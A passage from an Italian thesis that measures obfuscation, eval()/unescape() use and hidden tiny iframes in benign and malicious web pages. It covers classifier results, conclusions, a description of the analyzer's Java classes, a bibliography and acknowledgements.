Figura 6.12: Grafico di distribuzione sull’utilizzo di iframe con dimensioni minori di 3px * 3pxper la percentuale di pagine Normal

6.6 Utilizzo di tecniche di offuscamento

La questione attorno all’offuscamento, come era presumibile, si e rivelata la piu spinosada affrontare.

Allo stato attuale non esistono ancora dei rivelatori automatici di offuscamento e inostri due approcci al problema hanno mostrato risultati differenti.

La strada intrapresa ultilizzando il classificatore costruito sulla ground truth ottenutadai giudizi degli analisiti (vedi le sezioni 5.9.4 di pagina 46 e 5.10 di pagina 47) e apparsapiu conservativa rispetto a quella in cui l’offuscamento degli script e stato determinatotramite il metodo delle soglie (descritto nella seconda parte della sezione 5.10). Infatti,osservando nel dettaglio alcuni degli script che risultano offuscati, e stato notato comeil primo classificatore ne individui meno rispetto al secondo basato sulle soglie. D’altrocanto, pero, il primo presenta anche un minor numero di falsi positivi i quali si verificanonel momento in cui uno script non offuscato viene erroneamente considerato tale.

La difficolta riscontrata nel tentativo di realizzare un rivelatore automatico di of-fuscamento e tanto piu giustificata se si considera che per quasi il 19% dei 691 scriptvalutati per il test, gli analisti hanno fornito giudizi discordanti o non hanno saputoesporsi. Inoltre, per ben il 12% dei 691 script (cioe 81 script) gli analisti si sono espressiall’unanimita con l’opzione Non so alla domanda Ritieni che questo codice sia offuscato(anche solo parzialmente)?

Inoltre come descritto in Tabella 5.2 a pagina 48, per quasi il 18% degli script uti-lizzati per costruire il classificatore MLP, la percentuale in favore del giudizio e inferiore

Page 75: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

61 Utilizzo di tecniche di offuscamento

al 70%.

Nel seguito si riportano i due grafici a barre relativi alle percentuali di script offuscatirilevate dal classificatore MLP (grafico 6.13) e da quello costruito sulle soglie (grafico6.14).

Figura 6.13: Grafico a barre sulla percentuale di script offuscati ricavata tramite il classificatoreMLP

Anche la suddivisione fra le varie categorie all’interno della stessa tipologia di paginavaria a seconda del criterio di offuscamento adottato. Il classificatore MLP, infatti indi-vidua script offuscati quasi esclusivamente nella categoria Child Script, mentre il secondomette in evidenza un uso spinto di queste tecniche fra gli Script Embedded delle pagineMalicious.

Figura 6.14: Grafico a barre sulla percentuale di script offuscati ricavata tramite il classificatorebasato sulle soglie

Page 76: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

6. Analisi 62

6.6.1 Diffusione dell’utilizzo di unescape()

Poiche spesso l’esecuzione di codice offuscato e legata al binomio eval-unescape (vedila sezione 5.6.1 di pagina 34), si e deciso di indagare anche sull’utilizzo della funzioneunescape().

Osservando complessivamente le pagine, dal grafico 6.15 si evince che in poco piu del3% degli script e presente l’utilizzo di unescape(), ma se si va a guardare la percentualedelle sole pagine Malicious essa supera il 12%. Gli script delle pagine Interesting, invece,non fanno uso di questa funzione.

Figura 6.15: Grafico a barre sull’utilizzo di unescape()

Se dall’uso generale di unescape() si passa a considerare quello relativo alla stessafunzione con argomento offuscato, la divergenza fra pagine Normal e Malicious appareancora piu netta, come si nota nel grafico 6.16.

Figura 6.16: Grafico a barre sull’utilizzo di unescape() con argomento offuscato

Page 77: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

63 Utilizzo di tecniche di offuscamento

6.6.2 Relazioni fra le features di offuscamento delle proprieta

Come ultimo grafico si riporta la matrice dei diagrammi di dispersione costruita sullefeatures ottenutete a partire dalle elaborazioni sulle proprieta estratte dagli script edescritte in Tabella 5.3 a pagina 49.

Ogni “quadrante” della matrice evidenzia il rapporto che c’e fra una specifica coppiadi features (riportate lungo la diagonale).

Dalla sparsita dei diagrammi si puo notare che non esistono correlazioni spiccate frale features. Questo fatto mette in risalto come la scelta delle stesse non sia stata affettada ridondanze.

Figura 6.17: Matrice dei diagrammi di dispersione

Page 78: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Page 79: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Capitolo 7Conclusioni e sviluppi futuri

Lungo questo elaborato sono state illustrate le fasi dell’attivita di ricerca volta allacaratterizzazione dell’utilizzo odierno di script JavaScript, frame e iframe all’internodelle pagine web.

Per raggiungere questo obiettivo si e deciso di condurre lo studio in modo tale dafornire una risposta a cinque quesiti: Quanto e diffusa l’inclusione di script da urldiversi? A che profondita di inclusione si arriva per includere script? Quanto e diffusol’utilizzo di eval()? Quanto e diffusa l’inclusione di frame e iframe sospettosamentepiccoli? Quanto e diffuso l’utilizzo di tecniche di offuscamento?

A tal scopo si e voluto realizzare un dataset di pagine che cercasse di rispecchiare loscenario attuale del Web. A seconda della fonte di scaricamento, le pagine sono statesuddivise in tre categorie: Normal, Malicious ed Interesting.

Una volta ultimata la collezione di pagine, si e proceduto con l’analisi vera e propriadegli script, dei frame e degli iframe.

Per alcune delle domande si e potuto rispondere effettuando delle interrogazionisui dati estratti, mentre in altri casi e stato necessario sottoporre tali dati a delleelaborazioni.

Durante lo studio condotto, si e riscontrato l’uso frequente dell’inclusione di scriptda domini diversi. Quasi la totalita delle pagine che contengono script, infatti, includecodice da almeno un dominio diverso dal proprio.

Se si considera poi, la massima profondita di inclusione di script, intesa come numerodi nodi nella catena di prelievo di uno script, si evince che per la maggior parte dellepagine essa e pari a due. Il livello di profondita due e quello tipico di uno script RemoteChild, cioe uno script il cui codice e specificato in un’altra pagina web (da cui il nomeChild) che si trova su un dominio diverso (da cui l’aggettivo Remote) della pagina che loinclude. Questa categoria di script e ampliamente sfruttata all’interno delle pagine webad esempio per inserire pubblicita o per permettere a siti terzi di monitorare il trafficodi visitatori.

L’attenzione dello studio si e poi riversata sull’utilizzo della controversa funzioneJavaScript eval(). Questo e un tipico esempio di funzione prevista dai moderni linguaggi

65

Page 80: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

7. Conclusioni e sviluppi futuri 66

di scripting che permettono la dynamic evaluation. La funzione eval() e un potentestrumento JavaScript per eseguire frammenti di codice runtime; pensata soprattuttocome scorciatoia per il programmatore, puo rappresentare un grave problema per lasicurezza dell’applicazione nel caso in cui il frammento di codice eseguito dinamicamentecontenga input non opportunamente validato. Inoltre, poiche le tecniche d’offuscamentofanno anche uso di operazioni su stringhe, spesso, nel codice offuscato, si nota la presenzadella funzione eval(); in questi casi, l’argomento della funzione si rivela codice offuscatoche viene deoffuscato e conseguentemente eseguito proprio tramite eval().

Nelle nostre analisi si e riscontrato che nel 2,7% degli script, presenti nelle pagineNormal, viene fatto uso di eval(), percentuale che triplica nel caso delle pagine Maliciouse Interesting. Ancora, mentre in quest’ultimo tipo di pagine e, soprattutto, nelle Normalla maggior parte degli script contenenti eval() fa parte della categoria Child Script, nellepagine Malicious l’uso della funzione in esame e predominante nei Local Embedded Script,quindi in quegli script il cui codice e definito all’interno della pagina.

Parte della ricerca si e soffermata sullo studio dei frame e degli iframe “sospetto-samente piccoli”, poiche talvolta si dimostrano veicolo di malware. In alcuni tipi diattacchi, i siti web vengono compromessi a seguito di un’iniezione di codice al loro in-terno. In molte situazioni, il nuovo contenuto e un link che “dirotta” il visitatore versoun URL nocivo per il sistema dell’utente. Per eludere il controllo visivo dei proprietaridel sito web infettatto, spesso tali URL vengono inseriti all’interno di iframe “invisibili”o quasi.

Il nostro studio ha evidenziato che la pratica di inserire frame o iframe molto “piccoli”non e infrequente neanche nelle pagine Normal, che non dovrebbero essere veicolo di dif-fusione di malware. Infatti, nell’8,5% delle pagine Normal esaminate e stata riscontratal’inclusione di un frame o di un iframe “invisibile”.

Come previsto fino dalla stesura delle cinque macro domande, l’analisi del fenomenorelativo all’offuscamento degli script si e rivelata la questione al contempo piu delicatae ostica da affrontare.

Ci si e avvicinati al problema sfruttando due diversi criteri per stabilire se uno scriptfosse offuscato o meno. Il primo basato su un classificatore Multilayer Perceptron costrui-to sui risultati ottenuti da test svolti da analisti scelti di codice JavaScript. Il secondosviluppato imponendo delle soglie a particolari features ricavate dall’elaborazione di 14proprieta estratte da ciascuno script.

Cio che si e potuto osservare e che il classificatore MLP si dimostra piu conservativo emeno fallace. Infatti, se da un lato e stato riscontrato come questo classificatore individuimeno script offuscati rispetto al secondo, dall’altro si e constatato come lo stesso presentianche un minor numero di falsi positivi. Anche la suddivisione degli script offuscati, frale varie categorie di script all’interno della stessa pagina, varia a seconda del criterio dioffuscamento adottato. Mentre il classificatore MLP rileva il fenomeno dell’offuscamentoqualsi esclusivamente all’interno della categoria Child Script, il classificatore costruitosulle soglie mette in evidenza un uso spinto di queste tecniche fra gli Script Embeddeddelle pagine Malicious.

La complessita riscontrata nel tentativo di realizzare un rivelatore automatico di

Page 81: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

67

offuscamento risulta legittima se si prendono in considerazione i dati relativi alla difficoltaprovata dagli stessi analisti nel definire se un codice fosse o meno offuscato: per quasiil 19% dei 691 script con due o piu valutazioni, gli esaminatori hanno fornito giudizidiscordanti o non hanno saputo esporsi; inoltre, per quasi il 18% dei 561 script utilizzatiper costruire il classificatore MLP, la percentuale in favore del giudizio e risultata inferioreal 70%.

Questo studio rappresenta solo l’inizio di un’attivita di ricerca che tra gli sviluppifuturi si propone di affinare le tecniche volte all’individuazione di codici offuscati; in talsenso verranno identificate ulteriori proprieta da estrarre dai codici, procedendo poi conla valutazione sulla concreta efficacia delle stesse nel predire l’offuscamento.

Nel prossimo futuro, inoltre, i vari fenomeni oggetto di questo studio verranno sotto-posti ad analisi aggiuntive con l’ambizioso obiettivo di cercare l’esistenza di una suddivi-sione fra pagine benigne e maligne. Se cio risultasse fattibile, l’attenzione si riverserebbesu un interrogativo che, se risolto, porterebbe con se risvolti di enorme portata: stabilirel’esistenza della possibilita di classificare le pagine, senza disporre di liste aggiornate suisiti infetti. In questo modo si arriverebbe a sancire se una pagina e benigna o malignasenza possedere conoscenza a priori circa la sua natura.

Un ulteriore sviluppo futuro si intravede nello studio dell’aspetto dinamico delle pa-gine, con l’intento di fornire una descrizione di ogni singola pagina basata sulla suaevoluzione temporale. Questo ramo d’indagine potrebbe rivelarsi parallelo e ausiliarioal precedente in termini di caratterizzazione di pagine. Si pensi all’iniezione di codicedannoso all’interno di una pagina vittima di un attacco; a seguito dell’introduzione delnuovo contenuto (potrebbe essere un iframe con un collegamento esterno, oppure unoscript offuscato con un richiamo verso un altro codice localizzato in un diverso domi-nio) l’aspetto della pagina, rilevato dalla sua analisi, subirebbe una variazione rispettoa quello della situazione precedente l’intromissione. Sarebbe interessante capire, dal-l’esame dell’evoluzione temporale delle pagine, se le manipolazioni fraudolente possanoessere distinte dalle modifiche legittime cui periodicamente le pagine sono soggette. Ciorappresenterebbe un uteriore strumento per discernere le pagine maligne dalle paginebenigne e il traguardo potrebbe dirsi raggiunto.

Page 82: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Page 83: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Appendice AIl codice

Nel seguito si passano in rassegna le principali classi sviluppate per l’analisi di scriptJavaScript, frame e iframe, descrivendo brevemente i metodi definiti all’interno di quelle.

Per ogni url scaricato tramite Goldrake vengono salvati due file. Il primo presentala lista degli script legati all’url, contenente per ogni script anche tutte le informazionirelative allo scaricamento dello stesso. Il secondo riporta una lista analoga ma associataai frame e agli iframe della pagina di cui si e effettuato il download.

A.1 Oggetto PageAnalizer

L’oggetto PageAnalizer crea gli oggetti ScriptAnalizer e FrameAndIframeAnalizer

per l’elaborazione dei due file associati ad un url scaricato tramite Goldrake e contenentiuno l’insieme degli script e l’altro l’insieme dei frame e degli iframe associati alla paginaa quell’url.

Al termine di questa fase, PageAnalizer aggiunge un riga alla tabella Ts per ogniscript e una alla tabella Ti per ogni frame e iframe associati alla pagina.

A.1.1 Metodi dell’oggetto PageAnalizer

La classe PageAnalizer definisce i seguenti metodi:

• public PageAnalizer(): costruttore della classe che inizializza lo stato dell’ogget-to;

• public Connection connectToDB(): metodo che consente la connessione al data-base e quindi il popolamento delle tabelle Ts e Ti;

• public void getScriptsList(String serializedFileName script, Connection con): me-todo che prende in input il nome del file in cui e serializzata la lista degli scriptdella pagina. Per ogni elemento della lista inizializza l’oggetto ScriptAnalizer e,al termine dell’elaborazione di quest’ultimo, aggiunge una riga alla tabella Ts;

69

Page 84: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

A. Il codice 70

• public void getIframesList(String serializedFileName iframe, Connection con):metodo che prende in input il nome del file in cui e serializzata la lista dei fra-me e degli iframe della pagina. Per ogni elemento della lista inizializza l’oggettoFrameAndIframeAnalizer e, al termine dell’elaborazione di quest’ultimo, aggiungeuna riga alla tabella Ti;

• public ArrayList<String> listOfPagesToAnalize(String fileName): metodo cheprende in input il nome del file in cui e contenuto l’elenco degli identificatori dellepagine di cui si vuole eseguire l’analisi e fornisce come output una lista contenentei rispettivi URL delle pagine;

• public static void main(String[] args): metodo che inizializza il costruttore del-la classe, crea gli oggetti ScriptAnalizer e FrameAndIframeAnalizer, invocail metodo listOfPageToAnalize e per ogni URL della lista chiama i metodigetScriptsList e getIframesList.

A.2 Oggetto ScriptAnalizer

L’oggetto ScriptAnalizer compie delle elaborazioni sul codice di uno script, al terminedelle quali fornisce all’oggetto PageAnalizer il set di proprieta estratte dallo script,descritte nella Tabella 5.1 riportata al paragrafo 5.9.2.

A.2.1 Metodi dell’oggetto ScriptAnalizer

La classe ScriptAnalizer definisce i seguenti metodi:

• public ScriptAnalizer(): costruttore della classe che inizializza lo stato dell’og-getto;

• public void scriptLenght(): metodo che calcola la dimensione in caratteri delloscript;

• public void functionsFinder(): metodo che individua le funzioni dello script defi-nite dal programmatore e per ognuna invoca il metodo calculateCodeObfuscation()fornendo in input in nome della funzione;

• public int functionLenght(Scanner scan): metodo che ritorna la dimensione incaratteri dell’argomento di una funzione definita dall’utente;

• public void documentWriteFinder(): metodo che individua i document.write()contenuti all’interno dello script e invoca il metodo calculateCodeObfucation()

passando come parametro l’argomento del document.write();

• public void iframeFinder(): metodo che individua gli iframe contenuti all’internodello script, invoca il metodo calculateCodeObfucation() passando come para-metro l’argomento del iframe e, sempre con l’argomento, inizializza un oggettoFrameAndIframeAnalizer per l’estrazione delle proprieta dell’iframe;

Page 85: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

71 Oggetto FrameAndIframeAnalizer

• public int varsFinder(): metodo che individua le variabili definite all’interno delloscript. Una volta trovata una variabile, invoca il metodo calculateCodeObfuscation()sul nome e sull’argomento di quella;

• public void nativeFunctionFinder(): metodo che individua le funzioni native(eval(), unescape(), decode(), onerror(), exec(), String.fromCharCode(),String.charCodeAt() e Math.random()) chiamate all’interno dello script e perciascuna invoca il metodo nativeFunctionAnalizer();

• public void nativeFunctionAnalizer(String line, String nameFunction, Scannerscan): metodo che analizza l’argomento delle funzioni native, invoca il metodocalculateCodeObfucation() e, a seconda della funzione offuscata, aggiorna ilrelativo contatore;

• public void longStringAnalizer(String str): metodo che individua nello scriptle stringhe con un numero di caratteri superiore a 140 e passa in input ai metodiisAPlainSequence() e calculateCodeObfucation() l’argomento di quelle;

• public boolean isAPlainSequence(String str): metodo che analizza una stringae ritorna true se il numero di caratteri speciali e inferiore al 5% della dimensionetotale della stringa;

• public double countSpecialChars(String str): metodo che restituisce il numerodi caratteri speciali di una stringa;

• public double calculateCodeObfucation(String str): metodo che ritorna la per-centuale di offuscamento di una stringa (p nella formula definita nella sottosezione5.9.1.1), invocando al suo interno il metodo countSpecialChars();

• public void makeOutputScript(): metodo che riassume i valori delle proprietaestratte dallo script, cosı come sono elencate nella Tabella 5.1 descritta al paragrafo5.9.2.

A.3 Oggetto FrameAndIframeAnalizer

L’oggetto FrameAndIframeAnalizer estrae le proprieta di frame e iframe.

A.3.1 Metodi dell’oggetto FrameAndIframeAnalizer

La classe FrameAndIframeAnalizer definisce i seguenti metodi:

• public FrameAndIframeAnalizer(): costruttore della classe che inizializza lostato dell’oggetto;

• public void getIFrameAttributes(): metodo che estrae i valori degli attributiwidth, height e src del frame o dell’iframe, analizzando l’argomento dello stesso.

Page 86: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Page 87: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Bibliografia e siti web consultati

[1] N. Provos, P. Mavrommatis, M. Abu Rajab, F. Monrose. All iframe point to us. InGoogle Technical Report provos-2008a. Febbraio 2008.

[2] N. Provos, D. McNamee, P. Mavrommatis, K. Wang, N. Modadugu. The ghost inthe browser. Analysis of web-based malware. In Proceedings of the first conferenceon First Workshop on Hot Topics in Understanding Botnets. 2007.

[3] C. Yue , H. Wang. Characterizing insecure javascript practices on the web. InProceedings of the 18th international conference on World wide web. Aprile 2009.

[4] Alexa.http://www.alexa.com/company

[5] Alexa.http://it.wikipedia.org/wiki/Alexa

[6] MalwareDomainList.http://www.who.is/whois/malwaredomainlist.com/

[7] Stunnix.http://www.stunnix.com/

[8] Jasob.http://www.jasob.com/

[9] Websense.http://www.websense.com/threatreport

[10] Websense.http://www.websense.com/content/Regional/Italy/NewsRoom.aspx?ID=1844

[11] Sophos.http://www.sophos.com/blogs/sophoslabs/v/post/4405

73

Page 88: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

BIBLIOGRAFIA E SITI WEB CONSULTATI74

[12] Anatomy of a typical exploit.http://www.provos.org/index.php?/archives/3-Anatomy-of-a-typical-exploit.html

[13] Evolution of hidden iframes.http://blog.unmaskparasites.com/2009/10/28/evolution-of-hidden-iframes/

[14] Phishing.http://www.fraudwatchinternational.com/phishing-fraud/phishing-web-site-methods/

[15] Script, frame, iframe.http://www.w3.org/TR/REC-html40/present/frames.html

[16] Http request, http response.http://it.kioskea.net

[17] Overhead.http://it.wikipedia.org/wiki/Overhead

[18] JSON.http://json.org/

[19] Figura 5.1.http://files.myopera.com/QAPOcVuetr/albums/692153/drive-by-download.jpg

Page 89: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Ringraziamenti

Desidero ringraziare in maniera sentita il Prof. Alberto Bartoliper avermi offerto la possibilita di far parte del suo laboratorio,concedendomi, cosı, di trascorrere un periodoa stretto contatto con il mondo della ricerca.Un grazie incommensurabile all’Ing. Medvet,o meglio Eric, che si e dimostrato oltremodo disponibilenel seguire la mia attivita lungo tutto il periodo,chiarendo i miei dubbie non facendomi mai mancare il suo supporto.Impossibile dimenticareEnrico, Giorgioe il resto della squadra del laboratorioche mi hanno accolto nel migliore dei modi,senza mai negarmi un aiutoe colorando le ore passate assiemecon le frequenti facezie.Grazie alle mie sorelleper l’esempio che mi hanno datoe per l’appoggio che non mi hanno mai fatto mancare.Voglio ricordare anche i miei cognatiper la loro generosita sconfinata;cognati quasi fratelliche, come tali,con il resto della mia famiglia,si sono subiti i miei sfoghi di tensione e le mie “lune”.Un ringraziamentoche non puo trovare lo spazio appropriatofra le ultime righe di questa tesi,lo devo ai miei amici,vecchi e nuovi,che hanno allietato il mio passato,che rendono unico il mio presente,e che spero continueranno a farmi dono

75

Page 90: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Ringraziamenti 76

della loro presenza nel mio futuro.Non mi sembra opportuno ringraziarli ad uno ad uno,perche sarebbe un elenco troppo lungoe soprattutto perche citare i loro nomiconferirebbe un ordine implicitoche non renderebbe giustiziae non rispecchierebbei miei sentimenti.Infine, il mio pensiero vaai miei genitorii quali mi hanno dato tuttoun affetto senza limiti,una giusta educazione,un sostegno nei periodi di necessita.. . . ai miei genitoriche hanno favorito le mie passionie che tuttora si prodigano in questa direzione.. . . ai miei genitoriperche credonon avrei potuto averne di migliori.. . . ai miei genitoriai quali,pur avendolo sempre pensato,non ho mai saputo dire:Grazie.